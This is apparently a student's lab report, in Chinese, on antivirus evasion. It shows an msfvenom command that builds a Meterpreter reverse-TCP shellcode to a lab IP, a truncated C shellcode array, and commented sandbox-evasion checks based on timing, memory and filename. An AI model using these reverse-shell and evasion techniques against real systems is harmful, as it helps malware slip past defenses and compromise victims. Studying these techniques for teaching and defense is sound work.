20155222卢梓杰 实验三 免杀原理与实践

实验三 免杀原理与实践

1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

实验步骤如下

  • 1.先对实验二中生成的exe进行检测

    65款杀毒软件有36款认为不安全

    39款杀毒软件有6款认为不安全
    what??结果好像有点理想,但是实验还是要尴尬地做下去的

  • 2.再试试用msfvenom生成其他格式的文件

    • 1.java
      首先选择合适的payload

      看看测试结果

      与exe文件相差无几

      ??

    • 2.jar


    • 3.python


  • 3.veil-evasion


    效果很不理想,毕竟是世界知名的产品,早就被AV盯死了

2.通过组合应用各种技术实现恶意代码免杀

很无奈,接下来利用c+shellcode半手工打造恶意代码

  • 1.首先在kali中以一个正常的exe文件作为模板生成shellcode数组
    msfvenom -p windows/meterpreter/reverse_tcp -x lzj.exe LHOST=192.168.77.138 LPORT=5222 -f c

    然后将它拷贝到win7主机的codeblocks中,加几行语句形成如下代码

    unsigned char met[] =
    "\xa6\xb2\xd8\x5a\x5a\x5a\x3a\xd3\xbf\x6b\x9a\x3e\xd1\x0a\x6a"
    ///////省略若干行
    "\x99\xe1\xaa\xef\xf8\x0c\x30\x5a\x09\xa5\x8f";
    int main()
    {
    	//执行shellcode
    }
    

    编译就可以得到一个能够成功回连的exe文件。
    然而会被查出来,所以要用如下代码

    unsigned char met[] =
    "\xa6\xb2\xd8\x5a\x5a\x5a\x3a\xd3\xbf\x6b\x9a\x3e\xd1\x0a\x6a"
    ...省略一万字
    "\x99\xe1\xaa\xef\xf8\x0c\x30\x5a\x09\xa5\x8f";
    
    int main(int argc, char * argv[])
    {
            //获取当前系统时间
            //睡眠20000毫秒
            //再次获取当前系统时间
            //将两次时间相减看看是否小于19800
            //如果小于,可能是AV在检测,停止运行
            //如果大于,获取当前进程的内存,如果大于3500000 bytes,可能正在被检测,停止
            //如果小于,查看当前文件名是否跟原先一致,若果不一致,停止
            //否则解密shellcode、执行shellcode
    }
    
    
    

    就能得到一个免杀的恶意代码了。

4.思考题

  • 1.杀软是如何检测出恶意代码的?
    1.静态检测,将代码与搜集来的知名度高的恶意代码比较。
    2.启发式检测,将代码放到沙箱环境中运行,看是否会生成恶意代码或有恶意行为
  • 2.免杀是做什么?
    绕过AV的检测
  • 3.免杀的基本方法有哪些?
    加密shellcode、DLL注入、RunPE 等等
posted @ 2018-04-11 15:48  20155222卢梓杰  阅读(302)  评论(0编辑  收藏  举报